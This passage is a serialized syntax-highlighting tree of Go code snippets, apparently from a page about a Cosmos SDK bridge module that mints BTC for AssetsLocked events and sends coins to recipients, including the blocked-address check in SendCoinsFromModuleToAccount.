ag":504,"props":80583,"children":80584},{"style":523},[80585],{"type":28,"value":537},{"type":23,"tag":504,"props":80587,"children":80588},{"class":506,"line":736},[80589],{"type":23,"tag":504,"props":80590,"children":80591},{"style":598},[80592],{"type":28,"value":80593},"        ...\n",{"type":23,"tag":504,"props":80595,"children":80596},{"class":506,"line":785},[80597,80602,80606,80611,80615,80620,80624,80629,80633,80637,80641,80646],{"type":23,"tag":504,"props":80598,"children":80599},{"style":529},[80600],{"type":28,"value":80601},"        err",{"type":23,"tag":504,"props":80603,"children":80604},{"style":598},[80605],{"type":28,"value":75167},{"type":23,"tag":504,"props":80607,"children":80608},{"style":529},[80609],{"type":28,"value":80610}," pbh",{"type":23,"tag":504,"props":80612,"children":80613},{"style":523},[80614],{"type":28,"value":320},{"type":23,"tag":504,"props":80616,"children":80617},{"style":529},[80618],{"type":28,"value":80619},"bridgeKeeper",{"type":23,"tag":504,"props":80621,"children":80622},{"style":523},[80623],{"type":28,"value":320},{"type":23,"tag":504,"props":80625,"children":80626},{"style":517},[80627],{"type":28,"value":80628},"AcceptAssetsLocked",{"type":23,"tag":504,"props":80630,"children":80631},{"style":523},[80632],{"type":28,"value":526},{"type":23,"tag":504,"props":80634,"children":80635},{"style":529},[80636],{"type":28,"value":19262},{"type":23,"tag":504,"props":80638,"children":80639},{"style":523},[80640],{"type":28,"value":576},{"type":23,"tag":504,"props":80642,"children":80643},{"style":529},[80644],{"type":28,"value":80645},"events",{"type":23,"tag":504,"props":80647,"children":80648},{"style":523},[80649],{"type":28,"value":1192},{"type":23,"tag":504,"props":80651,"children":80652},{"class":506,"line":813},[80653,80657,80661,80665,80670],{"type":23,"tag":504,"props":80654,"children":80655},{"style":544},[80656],{"type":28,"value":2250},{"type":23,"tag":504,"props":80658,"children":80659},{"style":529},[80660],{"type":28,"value":47500},{"type":23,"tag":504,"props":80662,"children":80663},{"style":598},[80664],{"type":28,"value":63366},{"type":23,"tag":504,"props":80666,"children":80667},{"style":511},[80668],{"type":28,"value":80669}," nil",{"type":23,"tag":504,"props":80671,"children":80672},{"style":523},[80673],{"type":28,"value":552},{"type":23,"tag":504,"props":80675,"children":80676},{"class":506,"line":851},[80677,80681,80685,80689,80694,80698,80703,80707,80712,80716,80720],{"type":23,"tag":504,"props":80678,"children":80679},{"style":544},[80680],{"type":28,"value":77827},{"type":23,"tag":504,"props":80682,"children":80683},{"style":511},[80684],{"type":28,"value":80669},{"type":23,"tag":504,"props":80686,"children":80687},{"style":523},[80688],{"type":28,"value":576},{"type":23,"tag":504,"props":80690,"children":80691},{"style":529},[80692],{"type":28,"value":80693},"fmt",{"type":23,"tag":504,"props":80695,"children":80696},{"style":523},[80697],{"type":28,"value":320},{"type":23,"tag":504,"props":80699,"children":80700},{"style":517},[80701],{"type":28,"value":80702},"Errorf",{"type":23,"tag":504,"props":80704,"children":80705},{"style":523},[80706],{"type":28,"value":526},{"type":23,"tag":504,"props":80708,"children":80709},{"style":622},[80710],{"type":28,"value":80711},"\"cannot accept AssetsLocked events: %w\"",{"type":23,"tag":504,"props":80713,"children":80714},{"style":523},[80715],{"type":28,"value":576},{"type":23,"tag":504,"props":80717,"children":80718},{"style":529},[80719],{"type":28,"value":47399},{"type":23,"tag":504,"props":80721,"children":80722},{"style":523},[80723],{"type":28,"value":1192},{"type":23,"tag":504,"props":80725,"children":80726},{"class":506,"line":869},[80727],{"type":23,"tag":504,"props":80728,"children":80729},{"style":523},[80730],{"type":28,"value":1291},{"type":23,"tag":504,"props":80732,"children":80733},{"class":506,"line":878},[80734],{"type":23,"tag":504,"props":80735,"children":80736},{"style":598},[80737],{"type":28,"value":80593},{"type":23,"tag":504,"props":80739,"children":80740},{"class":506,"line":1221},[80741],{"type":23,"tag":504,"props":80742,"children":80743},{"style":523},[80744],{"type":28,"value":875},{"type":23,"tag":504,"props":80746,"children":80747},{"class":506,"line":1276},[80748],{"type":23,"tag":504,"props":80749,"children":80750},{"style":523},[80751],{"type":28,"value":884},{"type":23,"tag":504,"props":80753,"children":80754},{"class":506,"line":1285},[80755],{"type":23,"tag":504,"props":80756,"children":80757},{"emptyLinePlaceholder":16},[80758],{"type":28,"value":1038},{"type":23,"tag":504,"props":80760,"children":80761},{"class":506,"line":1294},[80762,80766,80770,80774,80778,80782,80786],{"type":23,"tag":504,"props":80763,"children":80764},{"style":511},[80765],{"type":28,"value":75051},{"type":23,"tag":504,"props":80767,"children":80768},{"style":523},[80769],{"type":28,"value":801},{"type":23,"tag":504,"props":80771,"children":80772},{"style":529},[80773],{"type":28,"value":79879},{"type":23,"tag":504,"props":80775,"children":80776},{"style":1012},[80777],{"type":28,"value":78696},{"type":23,"tag":504,"props":80779,"children":80780},{"style":523},[80781],{"type":28,"value":2064},{"type":23,"tag":504,"props":80783,"children":80784},{"style":517},[80785],{"type":28,"value":80628},{"type":23,"tag":504,"props":80787,"children":80788},{"style":523},[80789],{"type":28,"value":2439},{"type":23,"tag":504,"props":80791,"children":80792},{"class":506,"line":1302},[80793,80797,80801,80805,80809],{"type":23,"tag":504,"props":80794,"children":80795},{"style":529},[80796],{"type":28,"value":19205},{"type":23,"tag":504,"props":80798,"children":80799},{"style":1012},[80800],{"type":28,"value":77392},{"type":23,"tag":504,"props":80802,"children":80803},{"style":523},[80804],{"type":28,"value":320},{"type":23,"tag":504,"props":80806,"children":80807},{"style":1012},[80808],{"type":28,"value":75100},{"type":23,"tag":504,"props":80810,"children":80811},{"style":523},[80812],{"type":28,"value":2484},{"type":23,"tag":504,"props":80814,"children":80815},{"class":506,"line":1311},[80816,80821,80825,80829,80834],{"type":23,"tag":504,"props":80817,"children":80818},{"style":529},[80819],{"type":28,"value":80820},"    events",{"type":23,"tag":504,"props":80822,"children":80823},{"style":1012},[80824],{"type":28,"value":76926},{"type":23,"tag":504,"props":80826,"children":80827},{"style":523},[80828],{"type":28,"value":320},{"type":23,"tag":504,"props":80830,"children":80831},{"style":1012},[80832],{"type":28,"value":80833},"AssetsLockedEvents",{"type":23,"tag":504,"props":80835,"children":80836},{"style":523},[80837],{"type":28,"value":2484},{"type":23,"tag":504,"props":80839,"children":80840},{"class":506,"line":1334},[80841,80845,80849],{"type":23,"tag":504,"props":80842,"children":80843},{"style":523},[80844],{"type":28,"value":2064},{"type":23,"tag":504,"props":80846,"children":80847},{"style":1012},[80848],{"type":28,"value":806},{"type":23,"tag":504,"props":80850,"children":80851},{"style":523},[80852],{"type":28,"value":552},{"type":23,"tag":504,"props":80854,"children":80855},{"class":506,"line":1370},[80856],{"type":23,"tag":504,"props":80857,"children":80858},{"style":598},[80859],{"type":28,"value":19321},{"type":23,"tag":504,"props":80861,"children":80862},{"class":506,"line":1384},[80863,80867,80871,80875,80880,80884,80888,80893],{"type":23,"tag":504,"props":80864,"children":80865},{"style":544},[80866],{"type":28,"value":2008},{"type":23,"tag":504,"props":80868,"children":80869},{"style":529},[80870],{"type":28,"value":2013},{"type":23,"tag":504,"props":80872,"children":80873},{"style":523},[80874],{"type":28,"value":576},{"type":23,"tag":504,"props":80876,"children":80877},{"style":529},[80878],{"type":28,"value":80879},"event",{"type":23,"tag":504,"props":80881,"children":80882},{"style":598},[80883],{"type":28,"value":75167},{"type":23,"tag":504,"props":80885,"children":80886},{"style":544},[80887],{"type":28,"value":76150},{"type":23,"tag":504,"props":80889,"children":80890},{"style":529},[80891],{"type":28,"value":80892}," events",{"type":23,"tag":504,"props":80894,"children":80895},{"style":523},[80896],{"type":28,"value":552},{"type":23,"tag":504,"props":80898,"children":80899},{"class":506,"line":1392},[80900,80905,80909,80913,80917,80921,80925,80930,80934,80938,80942,80947],{"type":23,"tag":504,"props":80901,"children":80902},{"style":529},[80903],{"type":28,"value":80904},"        recipient",{"type":23,"tag":504,"props":80906,"children":80907},{"style":523},[80908],{"type":28,"value":576},{"type":23,"tag":504,"props":80910,"children":80911},{"style":529},[80912],{"type":28,"value":47399},{"type":23,"tag":504,"props":80914,"children":80915},{"style":598},[80916],{"type":28,"value":75167},{"type":23,"tag":504,"props":80918,"children":80919},{"style":529},[80920],{"type":28,"value":77392},{"type":23,"tag":504,"props":80922,"children":80923},{"style":523},[80924],{"type":28,"value":320},{"type":23,"tag":504,"props":80926,"children":80927},{"style":517},[80928],{"type":28,"value":80929},"AccAddressFromBech32",{"type":23,"tag":504,"props":80931,"children":80932},{"style":523},[80933],{"type":28,"value":526},{"type":23,"tag":504,"props":80935,"children":80936},{"style":529},[80937],{"type":28,"value":80879},{"type":23,"tag":504,"props":80939,"children":80940},{"style":523},[80941],{"type":28,"value":320},{"type":23,"tag":504,"props":80943,"children":80944},{"style":529},[80945],{"type":28,"value":80946},"Recipient",{"type":23,"tag":504,"props":80948,"children":80949},{"style":523},[80950],{"type":28,"value":1192},{"type":23,"tag":504,"props":80952,"children":80953},{"class":506,"line":1400},[80954,80958,80962,80966,80970],{"type":23,"tag":504,"props":80955,"children":80956},{"style":544},[80957],{"type":28,"value":2250},{"type":23,"tag":504,"props":80959,"children":80960},{"style":529},[80961],{"type":28,"value":47500},{"type":23,"tag":504,"props":80963,"children":80964},{"style":598},[80965],{"type":28,"value":63366},{"type":23,"tag":504,"props":80967,"children":80968},{"style":511},[80969],{"type":28,"value":80669},{"type":23,"tag":504,"props":80971,"children":80972},{"style":523},[80973],{"type":28,"value":552},{"type":23,"tag":504,"props":80975,"children":80976},{"class":506,"line":1422},[80977,80981,80986,80990,80994,80998,81003,81007,81011],{"type":23,"tag":504,"props":80978,"children":80979},{"style":544},[80980],{"type":28,"value":77827},{"type":23,"tag":504,"props":80982,"children":80983},{"style":529},[80984],{"type":28,"value":80985}," fmt",{"type":23,"tag":504,"props":80987,"children":80988},{"style":523},[80989],{"type":28,"value":320},{"type":23,"tag":504,"props":80991,"children":80992},{"style":517},[80993],{"type":28,"value":80702},{"type":23,"tag":504,"props":80995,"children":80996},{"style":523},[80997],{"type":28,"value":526},{"type":23,"tag":504,"props":80999,"children":81000},{"style":622},[81001],{"type":28,"value":81002},"\"failed to parse recipient address: %w\"",{"type":23,"tag":504,"props":81004,"children":81005},{"style":523},[81006],{"type":28,"value":576},{"type":23,"tag":504,"props":81008,"children":81009},{"style":529},[81010],{"type":28,"value":47399},{"type":23,"tag":504,"props":81012,"children":81013},{"style":523},[81014],{"type":28,"value":1192},{"type":23,"tag":504,"props":81016,"children":81017},{"class":506,"line":1450},[81018],{"type":23,"tag":504,"props":81019,"children":81020},{"style":523},[81021],{"type":28,"value":1291},{"type":23,"tag":504,"props":81023,"children":81024},{"class":506,"line":1463},[81025],{"type":23,"tag":504,"props":81026,"children":81027},{"emptyLinePlaceholder":16},[81028],{"type":28,"value":1038},{"type":23,"tag":504,"props":81030,"children":81031},{"class":506,"line":1485},[81032,81036,81041,81045,81050,81054,81058,81062,81067,81071,81076],{"type":23,"tag":504,"props":81033,"children":81034},{"style":544},[81035],{"type":28,"value":2250},{"type":23,"tag":504,"props":81037,"children":81038},{"style":529},[81039],{"type":28,"value":81040}," bytes",{"type":23,"tag":504,"props":81042,"children":81043},{"style":523},[81044],{"type":28,"value":320},{"type":23,"tag":504,"props":81046,"children":81047},{"style":517},[81048],{"type":28,"value":81049},"Equal",{"type":23,"tag":504,"props":81051,"children":81052},{"style":523},[81053],{"type":28,"value":526},{"type":23,"tag":504,"props":81055,"children":81056},{"style":529},[81057],{"type":28,"value":80879},{"type":23,"tag":504,"props":81059,"children":81060},{"style":523},[81061],{"type":28,"value":320},{"type":23,"tag":504,"props":81063,"children":81064},{"style":517},[81065],{"type":28,"value":81066},"TokenBytes",{"type":23,"tag":504,"props":81068,"children":81069},{"style":523},[81070],{"type":28,"value":17355},{"type":23,"tag":504,"props":81072,"children":81073},{"style":529},[81074],{"type":28,"value":81075},"sourceBTCToken",{"type":23,"tag":504,"props":81077,"children":81078},{"style":523},[81079],{"type":28,"value":537},{"type":23,"tag":504,"props":81081,"children":81082},{"class":506,"line":1503},[81083,81088,81092,81096,81100,81105,81109,81113,81117,81121,81125,81129,81133,81137],{"type":23,"tag":504,"props":81084,"children":81085},{"style":529},[81086],{"type":28,"value":81087},"            err",{"type":23,"tag":504,"props":81089,"children":81090},{"style":598},[81091],{"type":28,"value":648},{"type":23,"tag":504,"props":81093,"children":81094},{"style":529},[81095],{"type":28,"value":80007},{"type":23,"tag":504,"props":81097,"children":81098},{"style":523},[81099],{"type":28,"value":320},{"type":23,"tag":504,"props":81101,"children":81102},{"style":517},[81103],{"type":28,"value":81104},"mintBTC",{"type":23,"tag":504,"props":81106,"children":81107},{"style":523},[81108],{"type":28,"value":526},{"type":23,"tag":504,"props":81110,"children":81111},{"style":529},[81112],{"type":28,"value":19262},{"type":23,"tag":504,"props":81114,"children":81115},{"style":523},[81116],{"type":28,"value":576},{"type":23,"tag":504,"props":81118,"children":81119},{"style":529},[81120],{"type":28,"value":80402},{"type":23,"tag":504,"props":81122,"children":81123},{"style":523},[81124],{"type":28,"value":576},{"type":23,"tag":504,"props":81126,"children":81127},{"style":529},[81128],{"type":28,"value":80879},{"type":23,"tag":504,"props":81130,"children":81131},{"style":523},[81132],{"type":28,"value":320},{"type":23,"tag":504,"props":81134,"children":81135},{"style":529},[81136],{"type":28,"value":77806},{"type":23,"tag":504,"props":81138,"children":81139},{"style":523},[81140],{"type":28,"value":1192},{"type":23,"tag":504,"props":81142,"children":81143},{"class":506,"line":1516},[81144,81148,81152,81156,81160],{"type":23,"tag":504,"props":81145,"children":81146},{"style":544},[81147],{"type":28,"value":57780},{"type":23,"tag":504,"props":81149,"children":81150},{"style":529},[81151],{"type":28,"value":47500},{"type":23,"tag":504,"props":81153,"children":81154},{"style":598},[81155],{"type":28,"value":63366},{"type":23,"tag":504,"props":81157,"children":81158},{"style":511},[81159],{"type":28,"value":80669},{"type":23,"tag":504,"props":81161,"children":81162},{"style":523},[81163],{"type":28,"value":552},{"type":23,"tag":504,"props":81165,"children":81166},{"class":506,"line":1543},[81167,81171,81175,81179,81183],{"type":23,"tag":504,"props":81168,"children":81169},{"style":544},[81170],{"type":28,"value":59707},{"type":23,"tag":504,"props":81172,"children":81173},{"style":529},[81174],{"type":28,"value":80985},{"type":23,"tag":504,"props":81176,"children":81177},{"style":523},[81178],{"type":28,"value":320},{"type":23,"tag":504,"props":81180,"children":81181},{"style":517},[81182],{"type":28,"value":80702},{"type":23,"tag":504,"props":81184,"children":81185},{"style":523},[81186],{"type":28,"value":2439},{"type":23,"tag":504,"props":81188,"children":81189},{"class":506,"line":1583},[81190,81195],{"type":23,"tag":504,"props":81191,"children":81192},{"style":622},[81193],{"type":28,"value":81194},"                    \"failed to mint BTC for event %v: %w\"",{"type":23,"tag":504,"props":81196,"children":81197},{"style":523},[81198],{"type":28,"value":2484},{"type":23,"tag":504,"props":81200,"children":81201},{"class":506,"line":1605},[81202,81207,81211,81216],{"type":23,"tag":504,"props":81203,"children":81204},{"style":529},[81205],{"type":28,"value":81206},"                    event",{"type":23,"tag":504,"props":81208,"children":81209},{"style":523},[81210],{"type":28,"value":320},{"type":23,"tag":504,"props":81212,"children":81213},{"style":529},[81214],{"type":28,"value":81215},"Sequence",{"type":23,"tag":504,"props":81217,"children":81218},{"style":523},[81219],{"type":28,"value":2484},{"type":23,"tag":504,"props":81221,"children":81222},{"class":506,"line":1614},[81223,81228],{"type":23,"tag":504,"props":81224,"children":81225},{"style":529},[81226],{"type":28,"value":81227},"                    err",{"type":23,"tag":504,"props":81229,"children":81230},{"style":523},[81231],{"type":28,"value":2484},{"type":23,"tag":504,"props":81233,"children":81234},{"class":506,"line":1627},[81235],{"type":23,"tag":504,"props":81236,"children":81237},{"style":523},[81238],{"type":28,"value":81239},"                )\n",{"type":23,"tag":504,"props":81241,"children":81242},{"class":506,"line":1655},[81243],{"type":23,"tag":504,"props":81244,"children":81245},{"style":523},[81246],{"type":28,"value":1282},{"type":23,"tag":504,"props":81248,"children":81249},{"class":506,"line":1668},[81250,81254,81258],{"type":23,"tag":504,"props":81251,"children":81252},{"style":523},[81253],{"type":28,"value":2288},{"type":23,"tag":504,"props":81255,"children":81256},{"style":544},[81257],{"type":28,"value":2293},{"type":23,"tag":504,"props":81259,"children":81260},{"style":523},[81261],{"type":28,"value":552},{"type":23,"tag":504,"props":81263,"children":81264},{"class":506,"line":1682},[81265],{"type":23,"tag":504,"props":81266,"children":81267},{"style":598},[81268],{"type":28,"value":81269},"            ...\n",{"type":23,"tag":504,"props":81271,"children":81272},{"class":506,"line":1691},[81273],{"type":23,"tag":504,"props":81274,"children":81275},{"style":523},[81276],{"type":28,"value":1291},{"type":23,"tag":504,"props":81278,"children":81279},{"class":506,"line":1699},[81280],{"type":23,"tag":504,"props":81281,"children":81282},{"style":523},[81283],{"type":28,"value":875},{"type":23,"tag":504,"props":81285,"children":81286},{"class":506,"line":1708},[81287],{"type":23,"tag":504,"props":81288,"children":81289},{"style":598},[81290],{"type":28,"value":19321},{"type":23,"tag":504,"props":81292,"children":81293},{"class":506,"line":1717},[81294],{"type":23,"tag":504,"props":81295,"children":81296},{"style":523},[81297],{"type":28,"value":884},{"type":23,"tag":504,"props":81299,"children":81300},{"class":506,"line":1725},[81301],{"type":23,"tag":504,"props":81302,"children":81303},{"emptyLinePlaceholder":16},[81304],{"type":28,"value":1038},{"type":23,"tag":504,"props":81306,"children":81307},{"class":506,"line":1757},[81308,81312,81316,81320,81324,81328,81332],{"type":23,"tag":504,"props":81309,"children":81310},{"style":511},[81311],{"type":28,"value":75051},{"type":23,"tag":504,"props":81313,"children":81314},{"style":523},[81315],{"type":28,"value":801},{"type":23,"tag":504,"props":81317,"children":81318},{"style":529},[81319],{"type":28,"value":79879},{"type":23,"tag":504,"props":81321,"children":81322},{"style":1012},[81323],{"type":28,"value":78696},{"type":23,"tag":504,"props":81325,"children":81326},{"style":523},[81327],{"type":28,"value":2064},{"type":23,"tag":504,"props":81329,"children":81330},{"style":517},[81331],{"type":28,"value":81104},{"type":23,"tag":504,"props":81333,"children":81334},{"style":523},[81335],{"type":28,"value":2439},{"type":23,"tag":504,"props":81337,"children":81338},{"class":506,"line":1765},[81339,81343,81347,81351,81355],{"type":23,"tag":504,"props":81340,"children":81341},{"style":529},[81342],{"type":28,"value":19205},{"type":23,"tag":504,"props":81344,"children":81345},{"style":1012},[81346],{"type":28,"value":77392},{"type":23,"tag":504,"props":81348,"children":81349},{"style":523},[81350],{"type":28,"value":320},{"type":23,"tag":504,"props":81352,"children":81353},{"style":1012},[81354],{"type":28,"value":75100},{"type":23,"tag":504,"props":81356,"children":81357},{"style":523},[81358],{"type":28,"value":2484},{"type":23,"tag":504,"props":81360,"children":81361},{"class":506,"line":22762},[81362,81367,81371,81375,81380],{"type":23,"tag":504,"props":81363,"children":81364},{"style":529},[81365],{"type":28,"value":81366},"    recipient",{"type":23,"tag":504,"props":81368,"children":81369},{"style":1012},[81370],{"type":28,"value":77392},{"type":23,"tag":504,"props":81372,"children":81373},{"style":523},[81374],{"type":28,"value":320},{"type":23,"tag":504,"props":81376,"children":81377},{"style":1012},[81378],{"type":28,"value":81379},"AccAddress",{"type":23,"tag":504,"props":81381,"children":81382},{"style":523},[81383],{"type":28,"value":2484},{"type":23,"tag":504,"props":81385,"children":81386},{"class":506,"line":22799},[81387,81391,81396,81400,81405],{"type":23,"tag":504,"props":81388,"children":81389},{"style":529},[81390],{"type":28,"value":60561},{"type":23,"tag":504,"props":81392,"children":81393},{"style":1012},[81394],{"type":28,"value":81395}," math",{"type":23,"tag":504,"props":81397,"children":81398},{"style":523},[81399],{"type":28,"value":320},{"type":23,"tag":504,"props":81401,"children":81402},{"style":1012},[81403],{"type":28,"value":81404},"Int",{"type":23,"tag":504,"props":81406,"children":81407},{"style":523},[81408],{"type":28,"value":2484},{"type":23,"tag":504,"props":81410,"children":81411},{"class":506,"line":22812},[81412,81416,81420],{"type":23,"tag":504,"props":81413,"children":81414},{"style":523},[81415],{"type":28,"value":2064},{"type":23,"tag":504,"props":81417,"children":81418},{"style":1012},[81419],{"type":28,"value":806},{"type":23,"tag":504,"props":81421,"children":81422},{"style":523},[81423],{"type":28,"value":552},{"type":23,"tag":504,"props":81425,"children":81426},{"class":506,"line":22825},[81427],{"type":23,"tag":504,"props":81428,"children":81429},{"style":598},[81430],{"type":28,"value":19321},{"type":23,"tag":504,"props":81432,"children":81433},{"class":506,"line":22838},[81434,81439,81443,81447,81451,81456,81460,81464],{"type":23,"tag":504,"props":81435,"children":81436},{"style":529},[81437],{"type":28,"value":81438},"    err",{"type":23,"tag":504,"props":81440,"children":81441},{"style":598},[81442],{"type":28,"value":648},{"type":23,"tag":504,"props":81444,"children":81445},{"style":529},[81446],{"type":28,"value":80007},{"type":23,"tag":504,"props":81448,"children":81449},{"style":523},[81450],{"type":28,"value":320},{"type":23,"tag":504,"props":81452,"children":81453},{"style":529},[81454],{"type":28,"value":81455},"bankKeeper",{"type":23,"tag":504,"props":81457,"children":81458},{"style":523},[81459],{"type":28,"value":320},{"type":23,"tag":504,"props":81461,"children":81462},{"style":517},[81463],{"type":28,"value":80394},{"type":23,"tag":504,"props":81465,"children":81466},{"style":523},[81467],{"type":28,"value":2439},{"type":23,"tag":504,"props":81469,"children":81470},{"class":506,"line":22892},[81471,81475],{"type":23,"tag":504,"props":81472,"children":81473},{"style":529},[81474],{"type":28,"value":25166},{"type":23,"tag":504,"props":81476,"children":81477},{"style":523},[81478],{"type":28,"value":2484},{"type":23,"tag":504,"props":81480,"children":81481},{"class":506,"line":22901},[81482,81487,81491,81496],{"type":23,"tag":504,"props":81483,"children":81484},{"style":529},[81485],{"type":28,"value":81486},"        types",{"type":23,"tag":504,"props":81488,"children":81489},{"style":523},[81490],{"type":28,"value":320},{"type":23,"tag":504,"props":81492,"children":81493},{"style":529},[81494],{"type":28,"value":81495},"ModuleName",{"type":23,"tag":504,"props":81497,"children":81498},{"style":523},[81499],{"type":28,"value":2484},{"type":23,"tag":504,"props":81501,"children":81502},{"class":506,"line":31258},[81503,81507],{"type":23,"tag":504,"props":81504,"children":81505},{"style":529},[81506],{"type":28,"value":80904},{"type":23,"tag":504,"props":81508,"children":81509},{"style":523},[81510],{"type":28,"value":2484},{"type":23,"tag":504,"props":81512,"children":81513},{"class":506,"line":31279},[81514,81519],{"type":23,"tag":504,"props":81515,"children":81516},{"style":529},[81517],{"type":28,"value":81518},"        coins",{"type":23,"tag":504,"props":81520,"children":81521},{"style":523},[81522],{"type":28,"value":2484},{"type":23,"tag":504,"props":81524,"children":81525},{"class":506,"line":79702},[81526],{"type":23,"tag":504,"props":81527,"children":81528},{"style":523},[81529],{"type":28,"value":22898},{"type":23,"tag":504,"props":81531,"children":81532},{"class":506,"line":79715},[81533,81537,81541,81545,81549],{"type":23,"tag":504,"props":81534,"children":81535},{"style":544},[81536],{"type":28,"value":11261},{"type":23,"tag":504,"props":81538,"children":81539},{"style":529},[81540],{"type":28,"value":47500},{"type":23,"tag":504,"props":81542,"children":81543},{"style":598},[81544],{"type":28,"value":63366},{"type":23,"tag":504,"props":81546,"children":81547},{"style":511},[81548],{"type":28,"value":80669},{"type":23,"tag":504,"props":81550,"children":81551},{"style":523},[81552],{"type":28,"value":552},{"type":23,"tag":504,"props":81554,"children":81555},{"class":506,"line":79723},[81556,81560,81564,81568,81572,81576,81581,81585,81589],{"type":23,"tag":504,"props":81557,"children":81558},{"style":544},[81559],{"type":28,"value":742},{"type":23,"tag":504,"props":81561,"children":81562},{"style":529},[81563],{"type":28,"value":80985},{"type":23,"tag":504,"props":81565,"children":81566},{"style":523},[81567],{"type":28,"value":320},{"type":23,"tag":504,"props":81569,"children":81570},{"style":517},[81571],{"type":28,"value":80702},{"type":23,"tag":504,"props":81573,"children":81574},{"style":523},[81575],{"type":28,"value":526},{"type":23,"tag":504,"props":81577,"children":81578},{"style":622},[81579],{"type":28,"value":81580},"\"failed to send coins: %w\"",{"type":23,"tag":504,"props":81582,"children":81583},{"style":523},[81584],{"type":28,"value":576},{"type":23,"tag":504,"props":81586,"children":81587},{"style":529},[81588],{"type":28,"value":47399},{"type":23,"tag":504,"props":81590,"children":81591},{"style":523},[81592],{"type":28,"value":1192},{"type":23,"tag":504,"props":81594,"children":81595},{"class":506,"line":79731},[81596],{"type":23,"tag":504,"props":81597,"children":81598},{"style":523},[81599],{"type":28,"value":875},{"type":23,"tag":504,"props":81601,"children":81602},{"class":506,"line":79739},[81603],{"type":23,"tag":504,"props":81604,"children":81605},{"style":598},[81606],{"type":28,"value":19321},{"type":23,"tag":504,"props":81608,"children":81609},{"class":506,"line":79779},[81610],{"type":23,"tag":504,"props":81611,"children":81612},{"style":523},[81613],{"type":28,"value":884},{"type":23,"tag":494,"props":81615,"children":81617},{"code":81616,"language":74915,"meta":7,"className":74916,"style":7},"func (k BaseKeeper) SendCoinsFromModuleToAccount(\n ctx context.Context, senderModule string, recipientAddr sdk.AccAddress, amt sdk.Coins,\n) error {\n ...\n if k.BlockedAddr(recipientAddr) {\n  return errorsmod.Wrapf(sdkerrors.ErrUnauthorized, \"%s is not allowed to receive funds\", recipientAddr)\n }\n ...\n}\n",[81618],{"type":23,"tag":56,"props":81619,"children":81620},{"__ignoreMap":7},[81621,81653,81732,81747,81755,81786,81844,81851,81858],{"type":23,"tag":504,"props":81622,"children":81623},{"class":506,"line":507},[81624,81628,81632,81636,81641,81645,81649],{"type":23,"tag":504,"props":81625,"children":81626},{"style":511},[81627],{"type":28,"value":75051},{"type":23,"tag":504,"props":81629,"children":81630},{"style":523},[81631],{"type":28,"value":801},{"type":23,"tag":504,"props":81633,"children":81634},{"style":529},[81635],{"type":28,"value":79879},{"type":23,"tag":504,"props":81637,"children":81638},{"style":1012},[81639],{"type":28,"value":81640},"BaseKeeper",{"type":23,"tag":504,"props":81642,"children":81643},{"style":523},[81644],{"type":28,"value":2064},{"type":23,"tag":504,"props":81646,"children":81647},{"style":517},[81648],{"type":28,"value":80394},{"type":23,"tag":504,"props":81650,"children":81651},{"style":523},[81652],{"type":28,"value":2439},{"type":23,"tag":504,"props":81654,"children":81655},{"class":506,"line":540},[81656,81660,81664,81668,81672,81676,81681,81685,81689,81694,81698,81702,81706,81710,81715,81719,81723,81728],{"type":23,"tag":504,"props":81657,"children":81658},{"style":529},[81659],{"type":28,"value":24823},{"type":23,"tag":504,"props":81661,"children":81662},{"style":1012},[81663],{"type":28,"value":75091},{"type":23,"tag":504,"props":81665,"children":81666},{"style":523},[81667],{"type":28,"value":320},{"type":23,"tag":504,"props":81669,"children":81670},{"style":1012},[81671],{"type":28,"value":75100},{"type":23,"tag":504,"props":81673,"children":81674},{"style":523},[81675],{"type":28,"value":576},{"type":23,"tag":504,"props":81677,"children":81678},{"style":529},[81679],{"type":28,"value":81680},"senderModule",{"type":23,"tag":504,"props":81682,"children":81683},{"style":1012},[81684],{"type":28,"value":35006},{"type":23,"tag":504,"props":81686,"children":81687},{"style":523},[81688],{"type":28,"value":576},{"type":23,"tag":504,"props":81690,"children":81691},{"style":529},[81692],{"type":28,"value":81693},"recipientAddr",{"type":23,"tag":504,"props":81695,"children":81696},{"style":1012},[81697],{"type":28,"value":77392},{"type":23,"tag":504,"props":81699,"children":81700},{"style":523},[81701],{"type":28,"value":320},{"type":23,"tag":504,"props":81703,"children":81704},{"style":1012},[81705],{"type":28,"value":81379},{"type":23,"tag":504,"props":81707,"children":81708},{"style":523},[81709],{"type":28,"value":576},{"type":23,"tag":504,"props":81711,"children":81712},{"style":529},[81713],{"type":28,"value":81714},"amt",{"type":23,"tag":504,"props":81716,"children":81717},{"style":1012},[81718],{"type":28,"value":77392},{"type":23,"tag":504,"props":81720,"children":81721},{"style":523},[81722],{"type":28,"value":320},{"type":23,"tag":504,"props":81724,"children":81725},{"style":1012},[81726],{"type":28,"value":81727},"Coins",{"type":23,"tag":504,"props":81729,"children":81730},{"style":523},[81731],{"type":28,"value":2484},{"type":23,"tag":504,"props":81733,"children":81734},{"class":506,"line":555},[81735,81739,81743],{"type":23,"tag":504,"props":81736,"children":81737},{"style":523},[81738],{"type":28,"value":2064},{"type":23,"tag":504,"props":81740,"children":81741},{"style":1012},[81742],{"type":28,"value":806},{"type":23,"tag":504,"props":81744,"children":81745},{"style":523},[81746],{"type":28,"value":552},{"type":23,"tag":504,"props":81748,"children":81749},{"class":506,"line":633},[81750],{"type":23,"tag":504,"props":81751,"children":81752},{"style":598},[81753],{"type":28,"value":81754}," ...\n",{"type":23,"tag":504,"props":81756,"children":81757},{"class":506,"line":687},[81758,81762,81766,81770,81774,81778,81782],{"type":23,"tag":504,"props":81759,"children":81760},{"style":544},[81761],{"type":28,"value":14766},{"type":23,"tag":504,"props":81763,"children":81764},{"style":529},[81765],{"type":28,"value":80007},{"type":23,"tag":504,"props":81767,"children":81768},{"style":523},[81769],{"type":28,"value":320},{"type":23,"tag":504,"props":81771,"children":81772},{"style":517},[81773],{"type":28,"value":80410},{"type":23,"tag":504,"props":81775,"children":81776},{"style":523},[81777],{"type":28,"value":526},{"type":23,"tag":504,"props":81779,"children":81780},{"style":529},[81781],{"type":28,"value":81693},{"type":23,"tag":504,"props":81783,"children":81784},{"style":523},[81785],{"type":28,"value":537},{"type":23,"tag":504,"props":81787,"children":81788},{"class":506,"line":736},[81789,81793,81798,81802,81806,81810,81814,81818,81823,81827,81832,81836,81840],{"type":23,"tag":504,"props":81790,"children":81791},{"style":544},[81792],{"type":28,"value":38175},{"type":23,"tag":504,"props":81794,"children":81795},{"style":529},[81796],{"type":28,"value":81797}," 